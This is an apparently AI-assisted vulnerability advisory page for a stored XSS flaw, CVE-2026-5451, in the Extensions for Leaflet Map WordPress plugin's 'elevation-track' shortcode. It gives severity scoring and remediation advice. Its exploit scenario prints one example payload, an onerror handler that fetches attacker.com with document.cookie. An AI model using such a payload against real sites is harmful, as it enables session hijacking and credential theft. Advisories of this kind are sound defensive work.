Skip to main content

Extensions For Leaflet Map CVE-2026-5451

| EUVDEUVD-2026-20645 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-08 Wordfence GHSA-f684-x2p3-9qp3
6.4
CVSS 3.1 · Vendor: Wordfence
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) indicates a networked attack requiring low complexity and low privileges (Contributor role), with no user interaction needed and scope change affecting multiple users. While the integrity and confidentiality impact are rated as low in CVSS, the real-world risk is moderate to significant in WordPress environments because: (1) Contributor-level accounts are commonly granted to content creators and may be compromised or abused; (2) stored XSS affects all site visitors, not just the attacker; (3) JavaScript injection can lead to session hijacking, credential theft, malware distribution, or further privilege escalation; (4) scope change means the vulnerability impacts users outside the vulnerable component. EPSS and KEV status are not provided, and no public exploit code is referenced in the input data, suggesting this is a lower-profile vulnerability. However, the attack surface is broad given the prevalence of WordPress and plugin usage, and the barrier to exploitation is low once a Contributor account is obtained.

Exploit ScenarioDerived

An attacker with or who compromises a WordPress Contributor account creates a page containing the vulnerable 'elevation-track' shortcode with a malicious payload in one of its attributes, for example: [elevation-track title="<img src=x onerror='fetch(attacker.com/steal?cookie='+document.cookie)'>"]. When any site visitor (including administrators) views the page, the JavaScript executes in their browser context, exfiltrating session cookies or performing actions on behalf of the victim. No user interaction beyond visiting the page is required due to the UI:N (no user interaction) CVSS component. No public exploit code appears to be documented at this time, but the vulnerability mechanics are straightforward.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 08, 2026

Stored Cross-Site Scripting in Extensions for Leaflet Map plugin for WordPress allows authenticated attackers with Contributor-level access to inject arbitrary web scripts via the 'elevation-track' shortcode due to insufficient input sanitization and output escaping, enabling arbitrary script execution whenever users access injected pages. The vulnerability affects all versions up to and including 4.14, with a CVSS score of 6.4 reflecting the moderate but significant impact across multiple users of the same WordPress installation.

RemediationAI

Users should upgrade the Extensions for Leaflet Map plugin to a version newer than 4.14 as soon as available. The affected code in multielevation.php and functions.php requires input sanitization (using WordPress functions such as sanitize_text_field() or sanitize_textarea_field()) at the point of shortcode attribute processing and output escaping (using esc_attr() for HTML attributes or esc_html() for text content) at the point of rendering. Until a patched version is released, site administrators should restrict Contributor-level access to only trusted users, disable the 'elevation-track' shortcode if not actively used, or consider using an alternative mapping plugin. Refer to the WordPress plugin repository (https://wordpress.org/plugins/extensions-leaflet-map/) and Wordfence threat intelligence (https://www.wordfence.com/threat-intel/vulnerabilities/id/7749c45a-f956-4df6-98d0-5ec0db95185e?source=cve) for updates.

Affected VersionsENISA

Extensions for Leaflet Map 0 ≤4.14

Affected Packages

euvd extensions_for_leaflet_map no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the handling of the 'elevation-track' shortcode within the Extensions for Leaflet Map plugin (cpe:2.3:a:hupe13:extensions_for_leaflet_map:*:*:*:*:*:*:*:*). The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), stemming from the plugin's failure to properly sanitize user-supplied shortcode attributes before storing them in the database and to escape them during output rendering. Code references in the plugin's multielevation.php (line 227) and functions.php (line 168) indicate that the shortcode processor directly passes user-controlled input into page rendering without applying WordPress security functions such as sanitize_text_field() during input or wp_kses_post() during output. This allows malicious JavaScript to persist in the database and execute in the context of any user viewing the affected page.

Know when Extensions For Leaflet Map gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from Vendor (Wordfence) · only source for this CVE.

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Extensions for Leaflet Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'elevation-track' shortcode in all versions up to, and including, 4.14. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy